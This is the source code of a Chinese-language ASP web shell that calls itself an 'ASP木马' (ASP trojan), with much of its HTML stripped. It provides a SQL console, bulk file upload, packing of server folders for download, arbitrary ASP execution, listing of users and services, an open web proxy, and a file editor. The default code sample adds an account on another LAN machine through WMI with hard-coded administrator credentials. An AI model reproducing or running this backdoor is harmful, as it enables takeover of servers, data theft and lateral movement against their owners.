    " Echo Replace(sHeader, "{$s}", "SQL查询器") CreateConn() Set Cat = Server.CreateObject("ADOX.Catalog") Cat.ActiveConnection = conn.ConnectionString Echo "" For Each objTable In Cat.Tables Echo "" If strTable = objTable.Name Then Echo "" & objTable.Name & "" Else Echo objTable.Name End If Echo "" Next Echo "" If LCase(Left(sql, 7)) = "select " Then rs.Open sql, conn, 1, 1 ChkErr(Err) rs.PageSize = PageSize If Not rs.Eof Then rs.AbsolutePage = intPage End If Echo "
    " Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "
     
     查询
    " Echo "
    " Echo "" Echo "" Echo " " Echo "';"">" Echo "
    " Echo "" Echo "
     

    " If rs.Fields.Count > 0 Then strPrimaryKey = GetPrimaryKey(strTable) Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" For j = 0 To rs.Fields.Count - 1 Echo "" Next For i = 1 To rs.PageSize If rs.Eof Then Exit For Echo "" Echo "" Echo "" Else Echo "" Echo "" End If For j = 0 To rs.Fields.Count - 1 Echo "" Next Echo "" rs.MoveNext Next End If Echo "" Echo "
     
    操作" & rs.Fields(j).Name & "
    " If strPrimaryKey <> "" Then Echo "" Echo "" & HtmlEncode(IIf(Len(rs(j)) > 50, Left(rs(j), 50), rs(j))) & "
    " JavaScript("GetPageList(" & intPage & ", '" & rs.RecordCount & "','" & rs.PageCount & "', 10, '');") Echo "
    " rs.Close Else Set rs = conn.Execute(sql, i, &H0001) ChkErr(Err) If rs.Fields.Count > 0 Then Echo "" Echo "" Echo "" Echo "" sExec = "" For i = 0 To rs.Fields.Count - 1 Echo "" sExec = sExec & "" Next sExec = sExec & "" Echo "" Do Until rs.EOF For i = 0 To rs.Fields.Count - 1 sExec = Replace(sExec, "{$" & i & "}", StrEncode(rs(i)) & "
    {$" & i & "}") Next rs.MoveNext Loop For i = 0 To rs.Fields.Count - 1 sExec = Replace(sExec, "
    {$" & i & "}", "") Next Echo sExec & "
     
    " & rs.Fields(i).Name & "{$" & i & "}
    " Else Echo "" End If Set rs = Nothing Set Cat = Nothing DestoryConn() Exit Sub End If Echo "" Echo "" Echo sFooter Set rs = Nothing Set Cat = Nothing DestoryConn() End Sub Sub SqlShowEdit() Dim intFindI, intFindJ, intFindK, intFindL, intFindM, strJoinTag, multiTables, aParam Dim i, x, rs, sql, strTable, strExtra, strParam, intI, strColumn, strValue, strPrimaryKey If isDebugMode = False Then On Error Resume Next sql = GetPost("sql") strParam = GetPost("param") strTable = GetPost("theTable") intI = InStr(strParam, "!") intFindI = InStr(LCase(sql), " where") intFindJ = InStrRev(LCase(sql), "order ") intFindK = IIf(LCase(Right(sql, 4)) = "desc", "1", "0") strValue = Mid(strParam, intI + 1) strColumn = Left(strParam, intI - 1) strExtra = IIf(theAct = "next", ">", IIf(theAct = "pre", "<", "")) If intFindJ > 0 Then sql = Left(sql, intFindJ - 1) If intFindI > 0 Then strJoinTag = ") And " sql = Left(sql, intFindI + 5) & "(" & Mid(sql, intFindI + 6) Else strJoinTag = " Where " End If If intFindK > 0 Then strExtra = IIf(strExtra = ">", "<", IIf(strExtra = "<", ">", "")) CreateConn() strPrimaryKey = GetPrimaryKey(strTable) Set rs = Server.CreateObject("Adodb.RecordSet") If strExtra <> "" And IsNumeric(strValue) = True Then sql = "Select Top 1" & Mid(sql, 7) & strJoinTag sql = sql & strColumn & " " & strExtra & " " & strValue & " Order By " & strColumn & IIf(strExtra = "<", " Desc", " Asc") Else sql = sql & strJoinTag & strColumn & " like '" & Replace(strValue, "'", "''") & "'" End If intFindM = InStr(LCase(sql), "from") intFindI = InStr(LCase(sql), " where") intFindL = InStr(intFindM, LCase(sql), ",", 1) If intFindL > 0 Then If (intFindL > intFindM) And (intFindL < intFindI) Then multiTables = True End If End If If theAct = "dbdownfile" Then aParam = Split(strParam, "!") strValue = Replace(aParam(1) & "!" & aParam(2), "'", "''") sql = Replace(sql, strValue, Replace(aParam(1), "'", "''")) Set rs = conn.Execute(sql) DBDownTheFile(rs(aParam(2))) Set rs = Nothing Response.End() End If If theAct <> "edit" Then rs.Open sql, conn, 1, 3 ChkErr(Err) If rs.Eof Then Echo "" Response.End() End If If theAct = "new" Then rs.AddNew If theAct = "del" Then rs.Delete rs.Update AlertThenClose("删除成功!") Response.End Else If theAct <> "pre" And theAct <> "next" Then For Each x In rs.Fields If strPrimaryKey <> x.Name Then rs(x.Name) = Request.Form(x.Name & "_Column") End If Next rs.Update End If strValue = rs(strColumn) End If If theAct = "new" Then sql = "Select * From [" & strTable & "] Where " & strColumn & " like '" & Replace(strValue, "'", "''") & "'" End If rs.Close End If rs.Open sql, conn, 1, 1 Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" For Each x In rs.Fields Echo "" Echo "" Echo "" Next Echo "" Echo "" Echo "" Echo "
     
    8 SQL数据修改
     " & HtmlEncode(x.Name) & "
     (" & GetDataType(x.Type) & ")" If x.Type = 204 Or x.Type = 205 Then Echo "" Echo "
     " Echo "
    " If multiTables = False Then If strPrimaryKey = "" Then Echo "" Else Echo "" Echo "" Echo "" End If Else Echo "" End If Echo "" If IsNumeric(strValue) = True Then Echo "" Echo "" End If Echo "
    " rs.Close Set rs = Nothing DestoryConn() End Sub Sub CreateConn() Dim connStr, mdbInfo, userName, passWord, strPath If isDebugMode = False Then On Error Resume Next Set conn = Server.CreateObject("Adodb.Connection") If LCase(Left(thePath, 4)) = "sql:" Then connStr = Mid(thePath, 5) isSqlServer = True Else mdbInfo = Split(thePath, ";") strPath = mdbInfo(0) strPath = strPath ChkErr(Err) If UBound(mdbInfo) >= 2 Then userName = mdbInfo(1) passWord = mdbInfo(2) End If connStr = Replace(accessStr, "{$dbSource}", strPath) connStr = Replace(connStr, "{$userId}", userName) connStr = Replace(connStr, "{$passWord}", passWord) end if conn.Open connStr ChkErr(Err) End Sub Sub DestoryConn() conn.Close Set conn = Nothing End Sub Function GetDataType(flag) Dim str Select Case flag Case 0 : str = "EMPTY" Case 2 : str = "SMALLINT" Case 3 : str = "INTEGER" Case 4 : str = "SINGLE" Case 5 : str = "DOUBLE" Case 6 : str = "CURRENCY" Case 7 : str = "DATE" Case 8 : str = "BSTR" Case 9 : str = "IDISPATCH" Case 10 : str = "ERROR" Case 11 : str = "BIT" Case 12 : str = "VARIANT" Case 13 : str = "IUNKNOWN" Case 14 : str = "DECIMAL" Case 16 : str = "TINYINT" Case 17 : str = "UNSIGNEDTINYINT" Case 18 : str = "UNSIGNEDSMALLINT" Case 19 : str = "UNSIGNEDINT" Case 20 : str = "BIGINT" Case 21 : str = "UNSIGNEDBIGINT" Case 72 : str = "GUID" Case 128 : str = "BINARY" Case 129 : str = "CHAR" Case 130 : str = "WCHAR" Case 131 : str = "NUMERIC" Case 132 : str = "USERDEFINED" Case 133 : str = "DBDATE" Case 134 : str = "DBTIME" Case 135 : str = "DBTIMESTAMP" Case 136 : str = "CHAPTER" Case 200 : str = "VARCHAR" Case 201 : str = "LONGVARCHAR" Case 202 : str = "VARWCHAR" Case 203 : str = "LONGVARWCHAR" Case 204 : str = "VARBINARY" Case 205 : str = "LONGVARBINARY" Case Else : str = flag End Select GetDataType = str End Function Function GetPrimaryKey(strTable) Dim rsPrimary If isDebugMode = False Then On Error Resume Next Set rsPrimary = conn.OpenSchema(28, Array(Empty, Empty, strTable)) If Not rsPrimary.Eof Then GetPrimaryKey = rsPrimary("COLUMN_NAME") Set rsPrimary = Nothing End Function Sub PagePack() ShowTitle("文件夹打包/解开器") Server.ScriptTimeOut = 5000 If theAct = "PackIt" Or theAct = "PackOne" Then PackIt() AlertThenClose("打包成功!生成为该文件夹目录下的" & sPacketName & "文件.\n下载下来后可以使用unpack.vbs进行解开.") Response.End() End If If theAct = "UnPack" Then UnPack() AlertThenClose("解开成功!解开目录为" & sPacketName & "所在目录.") Response.End() End If PackTable() End Sub Sub PackTable() Echo "" Echo Replace(sHeader, "{$s}", "文件夹打包/解开器(需FSO支持)") Echo "
    " Echo "" Echo " 打包" Echo "  " Echo "" Echo "" Echo "" Echo "" Echo "" Echo "
    " Echo "
    " Echo "" Echo " 解包" Echo "  " Echo "" Echo "" Echo "" Echo "" Echo "
    " Echo sFooter Echo "
    " Echo Replace(sHeader, "{$s}", "文件夹打包器(需Shell.Application支持)") Echo "
    " Echo "" Echo " 打包" Echo "  " Echo "" Echo "" Echo "" Echo "" Echo "" Echo "
    " Echo sFooter Echo "
    " Echo Replace(sHeader, "{$s}", "文件夹打包器(需WScript.Shell支持)") Echo "
    " Echo "" Echo " 打包" Echo "  " Echo "" Echo "" Echo "" Echo "" Echo "
    " Echo sFooter End Sub Sub PackIt() Dim rs, db, conn, stream, connStr, objX, sParam, strPath, strPathB, isFolder, adoCatalog strPath = thePath sParam = GetPost("Param") db = strPath & "\" & sPacketName If sParam = "" Then sParam = "FSO" Set rs = Server.CreateObject("ADODB.RecordSet") Set stream = Server.CreateObject("ADODB.Stream") Set conn = Server.CreateObject("ADODB.Connection") Set adoCatalog = Server.CreateObject("ADOX.Catalog") connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & db If oFso.FolderExists(strPath) = False Then ShowErr(thePath & " 目录不存在或者不允许访问!") End If If oFso.FileExists(db) = False Then adoCatalog.Create connStr conn.Open connStr conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, P Text, fileContent Image)") Else conn.Open connStr End If stream.Open stream.Type = 1 rs.Open "[FileData]", conn, 3, 3 If theAct = "PackIt" Then If sParam = "FSO" Then Call FsoTreeForMdb(strPath, rs, stream) If sParam = "APP" Then Call AppTreeForMdb(strPath, rs, stream) Else strPath = GetPost("truePath") & "\" For Each objX In Request.Form("checkBox") strPathB = strPath & objX isFolder = oFso.FolderExists(strPathB) If isFolder = True Then Execute("Call " & sParam & "TreeForMdb(strPathB, rs, stream)") Else If isDebugMode = False Then On Error Resume Next If InStr(sysFileList, "$" & objX & "$") <= 0 Then rs.AddNew rs("P") = Mid(strPathB, 4) stream.LoadFromFile(strPathB) rs("fileContent") = stream.Read() rs.Update End If End If Next End If rs.Close Conn.Close stream.Close Set rs = Nothing Set conn = Nothing Set stream = Nothing Set adoCatalog = Nothing End Sub Sub UnPack() Dim rs, ws, str, conn, stream, connStr, strPath, theFolder If isDebugMode = False Then On Error Resume Next strPath = thePath str = oFso.GetParentFolderName(strPath) & "\" Set rs = CreateObject("ADODB.RecordSet") Set stream = CreateObject("ADODB.Stream") Set conn = CreateObject("ADODB.Connection") connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & strPath conn.Open connStr ChkErr(Err) rs.Open "FileData", conn, 1, 1 stream.Open stream.Type = 1 Do Until rs.Eof theFolder = Left(rs("P"), InStrRev(rs("P"), "\")) If oFso.FolderExists(str & theFolder) = False Then CreateFolder(str & theFolder) End If stream.SetEOS() If IsNull(rs("fileContent")) = False Then stream.Write rs("fileContent") stream.SaveToFile str & rs("P"), 2 rs.MoveNext Loop rs.Close conn.Close stream.Close Set ws = Nothing Set rs = Nothing Set stream = Nothing Set conn = Nothing End Sub Sub FsoTreeForMdb(strPath, rs, stream) If isDebugMode = False Then On Error Resume Next Dim item, theFolder, folders, files Set theFolder = oFso.GetFolder(strPath) Set files = theFolder.Files Set folders = theFolder.SubFolders For Each item In folders Call FsoTreeForMdb(item.Path, rs, stream) Next For Each item In files If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then rs.AddNew rs("P") = Mid(item.Path, 4) stream.LoadFromFile(item.Path) rs("fileContent") = stream.Read() rs.Update End If Next Set files = Nothing Set folders = Nothing Set theFolder = Nothing End Sub Sub AppTreeForMdb(sPath, rs, stream) If isDebugMode = False Then On Error Resume Next Dim oFolder, oMember, sFileName If Len(sPath) > 3 And Right(sPath, 1) = "\" Then sPath = Left(sPath, Len(sPath) - 1) Set oFolder = oShl.NameSpace(sPath) For Each oMember In oFolder.Items If oMember.IsFolder = True Then Call AppTreeForMdb(oMember.Path, rs, stream) Else sFileName = Mid(oMember.Path, InStrRev(oMember.Path, "\") + 1) If InStr(sysFileList, "$" & sFileName & "$") <= 0 Then rs.AddNew rs("P") = Mid(oMember.Path, 4) stream.LoadFromFile(oMember.Path) rs("fileContent") = stream.Read() rs.Update End If End If Next Set oFolder = Nothing Set oMember = Nothing End Sub Sub PageUpload() ShowTitle("批量文件上传") theAct = Request.QueryString("theAct") If theAct = "upload" Then StreamUpload() Echo "" End If ShowUpload() End Sub Sub ShowUpload() If thePath = "" Then thePath = rootPath Echo "
    " Echo Replace(sHeader, "{$s}", "批量文件上传") Echo "" Echo "" Echo " 上传到:" Echo "" Echo "" Echo " 覆盖模式" Echo "" Echo "" Echo "" Echo "" Echo " 文件选择: " Echo "" Echo "  " Echo "
    " Echo " " Echo "
    " Echo "" Echo "" Echo " " Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "
    " Echo "" End Sub Sub StreamUpload() Dim sA, sB, aryForm, aryFile, theForm, newLine, overWrite Dim strInfo, strName, strPath, strFileName, intFindStart, intFindEnd Dim itemDiv, itemDivLen, intStart, intDataLen, intInfoEnd, totalLen, intUpLen, intEnd If isDebugMode = False Then On Error Resume Next Server.ScriptTimeOut = 99999 newLine = ChrB(13) & ChrB(10) overWrite = Request.QueryString("overWrite") overWrite = IIf(overWrite = "true", "2", "1") Set sA = Server.CreateObject("Adodb.Stream") Set sB = Server.CreateObject("Adodb.Stream") sA.Type = 1 sA.Mode = 3 sA.Open sA.Write Request.BinaryRead(Request.TotalBytes) sA.Position = 0 theForm = sA.Read() ' sA.SaveToFile "c:\001.txt", 2 ''保存到临时文件进行查看 itemDiv = LeftB(theForm, InStrB(theForm, newLine) - 1) totalLen = LenB(theForm) itemDivLen = LenB(itemDiv) intStart = itemDivLen + 2 intUpLen = 0 '上面数据的长度 Do intDataLen = InStrB(intStart, theForm, itemDiv) - itemDivLen - 5 ''equals - 2(回车) - 1(InStr) - 2(回车) intDataLen = intDataLen - intUpLen intEnd = intStart + intDataLen intInfoEnd = InStrB(intStart, theForm, newLine & newLine) - 1 sB.Type = 1 sB.Mode = 3 sB.Open sA.Position = intStart sA.CopyTo sB, intInfoEnd - intStart ''保存元素信息部分 sB.Position = 0 sB.Type = 2 sB.CharSet = "GB2312" strInfo = sB.ReadText() strFileName = "" intFindStart = InStr(strInfo, "name=""") + 6 intFindEnd = InStr(intFindStart, strInfo, """", 1) strName = Mid(strInfo, intFindStart, intFindEnd - intFindStart) If InStr(strInfo, "filename=""") > 0 Then ''>0则为文件,开始接收文件 intFindStart = InStr(strInfo, "filename=""") + 10 intFindEnd = InStr(intFindStart, strInfo, """", 1) strFileName = Mid(strInfo, intFindStart, intFindEnd - intFindStart) strFileName = Mid(strFileName, InStrRev(strFileName, "\") + 1) End If sB.Close sB.Type = 1 sB.Mode = 3 sB.Open sA.Position = intInfoEnd + 4 sA.CopyTo sB, intEnd - intInfoEnd - 4 If strFileName <> "" Then sB.SaveToFile strPath & strFileName, overWrite ChkErr(Err) Else If strName = "thePath" Then sB.Position = 0 sB.Type = 2 sB.CharSet = "GB2312" strInfo = sB.ReadText() thePath = strInfo strPath = strInfo & "\" End If End If sB.Close intUpLen = intStart + intDataLen + 2 intStart = intUpLen + itemDivLen + 2 Loop Until (intStart + 2) = totalLen sA.Close Set sA = Nothing Set sB = Nothing End Sub Sub PageLogin() Dim passWord passWord = Encode(GetPost("password")) If theAct = "Login" Then If userPassword = passWord Then Session(m & "userPassword") = userPassword TopMenu() Exit Sub Else JavaScript("alert('登录失败!');history.back();") Echo userPassword & " = " & passWord Response.End() End If End If If PageName = "PageOut" Then Session.Contents.Remove(m & "userPassword") Response.Redirect(url) End If If Session(m & "userPassword") = userPassword Then TopMenu() Exit Sub End If ShowTitle("管理登录") Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo sClientTracer Echo "
    管 理 登 录
     
    " Echo " " Echo "" Echo "
    2006PLUS @ 海阳顶端网ASP木马
    " Echo "" End Sub Function Encode(sPass) Dim i, sStr, sTmp For i = 1 To Len(sPass) sTmp = Asc(Mid(sPass, i, 1)) sStr = sStr & Abs(sTmp) Next sPass = sStr sStr = "" Do While Len(sPass) > 16 sPass = JoinCutStr(sPass) Loop For i = 1 To Len(sPass) sTmp = CInt(Mid(sPass, i, 1)) sTmp = IIf(sTmp > 6, Chr(sTmp + 60), sTmp) sStr = sStr & sTmp Next Encode = sStr End Function Function JoinCutStr(str) Dim i, sStr For i = 1 To Len(str) If Len(str) - i = 0 Then Exit For sStr = sStr & Chr(CInt((Asc(Mid(str, i, 1)) + Asc(Mid(str, i + 1, 1))) / 2)) i = i + 1 Next JoinCutStr = sStr End Function Sub PageExecute() Dim strAspCode strAspCode = GetPost("AspCode") ShowTitle("自定义ASP语句执行") If strAspCode = "" Then strAspCode = "REM 以下为ASP语句执行示例, 其功能是在局域网中的其它有权限的机器上运行相应命令" & vbNewLine & vbNewLine & "set ww=server.createobject(""wbemscripting.swbemlocator"")" & vbNewLine & "set cc=ww.connectserver(""192.168.2.1"",""root/cimv2"",""administrator"",""xiaolu"")" & vbNewLine & "set ss=cc.get(""Win32_ProcessStartup"")" & vbNewLine & "Set pp=cc.get(""Win32_Process"")" & vbNewLine & "Response.Write pp.create(""net user xiaolu xiaolu /add"",null,oC,iProcessID)" & vbNewLine & "Echo ""
    "" & iProcessID" End If If theAct = "Exe" Then Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "
     
    8 执行结果
    " Execute(strAspCode) Echo "
    " End If ShowExeTable(strAspCode) End Sub Sub ShowExeTable(strAspCode) Echo "
    " Echo Replace(sHeader, "{$s}", "自定义ASP语句执行") Echo "" Echo "" Echo " ASP语句: " Echo "" Echo " " Echo "" Echo "" Echo "" Echo "" Echo " " Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "
    " End Sub Sub PageUserList() Dim oUser, oGroup, oComputer ShowTitle("系统用户及用户组信息查看") Set oComputer = GetObject("WinNT://.") oComputer.Filter = Array("User") Echo Replace(sHeader, "{$s}", "系统用户信息查看") For Each oUser in oComputer Echo " 用户名: " & oUser.Name & "" GetUserInfo(oUser.Name) Echo " " Next Echo "Powered By Marcos 2006.02 " Echo "
    " Echo Replace(sHeader, "{$s}", "系统用户组查看") Echo " 组名 组描述" oComputer.Filter = Array("Group") For Each oGroup in oComputer Echo "" & oGroup.Name & "" Echo "" & oGroup.Description & "" Next Echo sFooter End Sub Sub GetUserInfo(strUser) Dim User, Flags If isDebugMode = False Then On Error Resume Next End If Set User = GetObject("WinNT://./" & strUser & ",user") Echo " 描述: " & User.Description & "" Echo " 所属用户组: " & GetItsGroup(strUser) & "" Echo " 密码已过期: " & cbool(User.Get("PasswordExpired")) & "" Flags = User.Get("UserFlags") Echo " 密码永不过期: " & cbool(Flags And &H10000) & "" Echo " 用户不能更改密码: " & cbool(Flags And &H00040) & "" Echo " 非全局帐号: " & cbool(Flags And &H100) & "" Echo " 密码的最小长度: " & User.PasswordMinimumLength & "" Echo " 是否要求有密码: " & User.PasswordRequired & "" Echo " 帐号停用中: " & User.AccountDisabled & "" Echo " 帐号锁定中: " & User.IsAccountLocked & "" Echo " 用户信息文件: " & User.Profile & "" Echo " 用户登录脚本: " & User.LoginScript & "" Echo " 用户Home目录: " & User.HomeDirectory & "" Echo " 用户Home目录根: " & User.Get("HomeDirDrive") & "" Echo " 帐号过期时间: " & User.AccountExpirationDate & "" Echo " 帐号失败登录次数: " & User.BadLoginCount & "" Echo " 帐号最后登录时间: " & User.LastLogin & "" Echo " 帐号最后注销时间: " & User.LastLogoff & "" For Each RegTime In User.LoginHours If RegTime < 255 Then Restrict = True Next Echo " 帐号已用时间: " & Restrict & "" Err.Clear End Sub Function GetItsGroup(sUser) Dim oUser, oGroup Set oUser = GetObject("WinNT://./" & sUser & ",user") For Each oGroup In oUser.Groups GetItsGroup = GetItsGroup & oGroup.Name & " " Next End Function Sub PageServiceList() Dim oService, oComputer If isDebugMode = False Then On Error Resume Next ShowTitle("系统服务信息查看") Set oComputer = GetObject("WinNT://.") oComputer.Filter = Array("Service") Echo Replace(sHeader, "{$s}", "系统服务信息查看") For Each oService In oComputer Echo " 服务名称: " & oService.Name & "" Echo " 显示名称: " & oService.DisplayName & "" Echo " 启动类型: " & oGetStartType(oService.StartType) & "" Echo " 运行状态: " & oShl.IsServiceRunning(oService.Name) & "" Echo " 登录身份: " & oService.ServiceAccountName & "" ' Echo "当前状态: " & oService.Status & "
    " ' Echo "服务类型: " & oService.ServiceType & "
    " Echo " 服务描述: " & GetServiceDsc(oService.Name) & "" Echo " 文件路径及参数: " & oService.Path & "" Echo " " Next Echo "Powered By Marcos 2006.02 " End Sub Function GetServiceDsc(sService) GetServiceDsc = oWshl.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\" & sService & "\Description") End Function Function GetStartType(n) Select Case n Case 2 GetStartType = "自动" Case 3 GetStartType = "手动" Case 4 GetStartType = "已禁用" End Select End Function Sub PageWebProxy() Dim i, re, Html Response.Clear() If sUrl <> "" Then Url = sUrl Else Url = Request.QueryString("url") If Url = "" Then Response.Redirect("?PageName=PageWebProxy&url=http://hididi.net/") Set re = New RegExp re.IgnoreCase = True re.Global = True sUrlB = Url Html = getHTTPPage(Url) If sUrl <> "" Then Echo Html:Response.End() Url = Left(Url, InStrRev(Url, "/")) i = InStr(sUrlB, "?") If i > 0 Then sUrlB = Left(sUrlB, i - 1) End If re.Pattern = "(href|action)=(\'|"")?(\?)" Html = re.Replace(Html,"$1=$2" & sUrlB & "?") re.Pattern = "(src|action|href)=(\'|"")?((http|https|javascript):[A-Za-z0-9\./=\?%\-&_~`@[\]\':+!]+([^<>""])+)(\'|"")?" Html = re.Replace(Html,"$1x=$2$3$2") re.Pattern = "(window\.open|url)\((\'|"")?((http|https):(\/\/|\\\\)[A-Za-z0-9\./=\?%\-&_~`@[\]:+!]+([^\'<>""])+)(\'|"")?\)" Html = re.Replace(Html,"$1x($2$3$2)") re.Pattern = "(src|action|href|background)=(\'|"")?([^\/""\'][A-Za-z0-9\./=\?%\-&_~`@[\]:+!]+([^\'<>""])+)(\'|"")?" Html = re.Replace(Html,"$1=$2" & Url & "$3$2") re.Pattern = "(src|action|href|background)=(\'|"")?\/([^""\'][A-Za-z0-9\./=\?%\-&_~`@[\]:+!]+([^\'<>""])+)(\'|"")?" Html = re.Replace(Html,"$1=$2http://" & Split(Url, "/")(2) & "/$3$2") re.Pattern = "(src|action|href)=(\'|"")?\/(\'|"")?" Html = re.Replace(Html,"$1=$2http://" & Split(Url, "/")(2) & "/$2") re.Pattern = "(window\.open|url)\((\'|"")?([^\/""\'http:][A-Za-z0-9\./=\?%\-&_~`@[\]+!]+([^\'<>""])+)(\'|"")?\)" Html = re.Replace(Html,"$1($2" & Url & "$3$2)") re.Pattern = "(window\.open|url)\((\'|"")?\/([^""\'http:][A-Za-z0-9\./=\?%\-&_~`@[\]+!]+([^\'<>""])+)(\'|"")?\)" Html = re.Replace(Html,"$1($2http://" & Split(Url, "/")(2) & "/$3$2)") Html = Replace(Html, "&", "%26") Html = Replace(Html, "%26nbsp;", " ") Html = Replace(Html, "%26lt;", "<") Html = Replace(Html, "%26gt;", ">") Html = Replace(Html, "%26quot;", """) Html = Replace(Html, "%26copy;", "©") Html = Replace(Html, "%26reg;", "®") Html = Replace(Html, "%26raquo;", "»") Html = Replace(Html, "%26%26", "&&") Html = Replace(Html, "%26#", "&#") re.Pattern = "(src|action|href)x=(\'|"")?((http|https|javascript):[A-Za-z0-9\./=\?%\-&_~`@[\]\':+!]+([^<>""])+)(\'|"")?" Html = re.Replace(Html, "$1=$2$3$2") re.Pattern = "((http|https):(\/\/|\\\\)[A-Za-z0-9\./=\?%\-&_~`@[\]\':+!]+([^<>""])+)" Html = re.Replace(Html, "?PageName=PageWebProxy&url=$1") re.Pattern = "\?PageName=PageWebProxy&url=" & Url & "(#|javascript:)" Html = re.Replace(Html, "$1") re.Pattern = "multipart\/form-data" Html = re.Replace(Html, "") re.Pattern = ">\?PageName=PageWebProxy&url=((http|https|javascript):[A-Za-z0-9\./=\?%\-&_~`@[\]\':+!]+([^<>""])+)<" Html = re.Replace(Html, ">$1<") Echo Html End Sub Function GetHTTPPage(url) Dim Http, x, theStr, fileExt Set Http = Server.CreateObject("MSXML2.XMLHTTP") If Request.Form.Count > 0 Then For Each x In Request.Form theStr = theStr & UrlEncode(x) & "=" & UrlEncode(Request.Form(x)) & "&" Next Http.Open "POST", url, False Http.SetRequestHeader "CONTENT-TYPE", "application/x-www-form-urlencoded" Http.Send(theStr) Else On Error Resume Next Http.Open "GET", url, False Http.Send() End If If Http.ReadyState <> 4 Then Exit Function fileExt = LCase(Mid(url, InStrRev(url, ".") + 1)) If InStr("$jpg$gif$bmp$png$js$", "$" & fileExt & "$") > 0 Then Response.Clear Response.BinaryWrite Http.ResponseBody Response.End() Else If InStr("$rar$mdb$zip$exe$com$ico$", "$" & fileExt & "$") > 0 Then Response.AddHeader "Content-Disposition", "Attachment; Filename=" & Mid(sUrlB, InStrRev(sUrlB, "/") + 1) Response.BinaryWrite Http.ResponseBody Response.Flush Else getHTTPPage = bytesToBSTR(Http.ResponseBody, "GB2312") End If End If Set Http = Nothing End Function Function bytesToBSTR(body,Cset) Dim objstream Set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset bytesToBSTR = objstream.ReadText objstream.Close Set objstream = nothing End Function Sub PageApp() Server.ScriptTimeout = 600 ShowTitle("Shell.Application与Stream组件文件浏览操作器") Select Case theAct Case "newone" sUrlB = GetPost("truePath") & GetPost("Param") sUrlB = Left(sUrlB, Len(sUrlB) - 1) StreamSaveToFile(sUrlB) Case "rename" AppSetProperties("Name") Case "download" DownTheFile() Response.End() Case "showimage" ShowImage() Response.End() Case "showedit" StreamShowEdit() Response.End() Case "save" StreamSaveToFile("") StreamShowEdit() Response.End() Case "saveas" AppSaveAs("Copy") Case "move" AppSaveAs("Move") Case "lastmodify" AppSetProperties("LM") End Select AppFileExplorer() End Sub Sub AppFileExplorer() Dim sPath, oFolder, sFather, sFolderId, oMember, sFolderList, sFileList, sFileName, sFilePath, sExtName If thePath = "" Then thePath = rootPath Set oFolder = oShl.NameSpace(thePath) sFather = GetParentPath(thePath) Echo "
    " Echo "" Echo "" Echo "" Echo Replace(sHeader, "{$s}", "APP文件浏览操作器") Echo " " Echo "路径: " Echo "" Echo " " Echo " " Echo " " Echo " 站点根" Echo "" Echo "" Echo " " Echo "" Echo "" Echo "" Echo "" For Each oMember In oFolder.Items If oMember.IsFolder = True Then If Left(oMember.Path, 2) = "::" Then sPath = oMember.Path Else sPath = oMember.Path & "\" sFolderId = Replace(sPath, "\", "\\") sFolderList = sFolderList & "" sFolderList = sFolderList & "" Else sFilePath = oMember.Path sFileName = Mid(sFilePath, InStrRev(sFilePath, "\") + 1) sExtName = LCase(Mid(sFileName, InStrRev(sFileName, ".") + 1)) If InStr(sFilePath, rootPath) > 0 Then sFolderId = Replace(Replace(Replace(UrlEncode(Mid(sFilePath, Len(rootPath) + 1)), "%2E", "."), "%5C", "/"), "+", "%20") Else sFolderId = "javascript:;" End If sFileList = sFileList & "" sFileList = sFileList & "" End If Next Echo sFolderList & sFileList Echo Replace(sFooter, "=2", "=4") Echo "" Set oFolder = Nothing End Sub Function GetParentPath(sPath) Dim sFather If Right(sPath, 1) = "\" Then sFather = Left(sPath, Len(sPath) - 1) Else sFather = sPath If Len(sFather) = 2 Then GetParentPath = " " Else GetParentPath = Left(sFather, InStrRev(sFather, "\")) End If End Function Function StreamSaveToFile(sPath) Dim oStream, sFileContent If isDebugMode = False Then On Error Resume Next If sPath = "" Then sPath = GetPost("truePath") sFileContent = GetPost("fileContent") Set oStream = Server.CreateObject("adodb.stream") With oStream .Type=2 .Mode=3 .Open ChkErr(Err) .Charset="gb2312" .WriteText sFileContent .saveToFile sPath, 2 .Close End With Set oStream = Nothing End Function Sub StreamShowEdit() Dim sPath, sFileContent If isDebugMode = False Then On Error Resume Next sPath = GetPost("truePath") & GetPost("param") sFileContent = StreamLoadFromFile(sPath) ChkErr(Err) Echo "" Echo Replace(Replace(sHeader, "{$s}", "Stream文本编辑器"), "=2", "=1") Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "" Echo "
     
    " If sFather <> "" Then If Left(sFather, 2) = "::" Then sFather = Left(sFather, Len(sFather) - 1) sFolderId = Replace(sFather, "\", "\\") Echo " ↑回上级目录" End If Echo "大小最后修改操作
     " sFolderList = sFolderList & "" & oMember.Name & "-" & oFolder.GetDetailsOf(oMember, 3) & "" sFolderList = sFolderList & "" ' sFolderList = sFolderList & "" ' sFolderList = sFolderList & "" sFolderList = sFolderList & "" sFolderList = sFolderList & "
     " sFileList = sFileList & "" & sFileName & "" & oFolder.GetDetailsOf(oMember, 1) & "" & oFolder.GetDetailsOf(oMember, 3) & "" If InStr(editableFileExt, "$" & sExtName & "$") > 0 Then sFileList = sFileList & "" End If If InStr(imageFileExt, "$" & sExtName & "$") > 0 Then sFileList = sFileList & "" End If If sExtName = "mdb" Then sFileList = sFileList & "" End If sFileList = sFileList & "" sFileList = sFileList & "" ' sFileList = sFileList & "" sFileList = sFileList & "" ' sFileList = sFileList & "" sFileList = sFileList & "
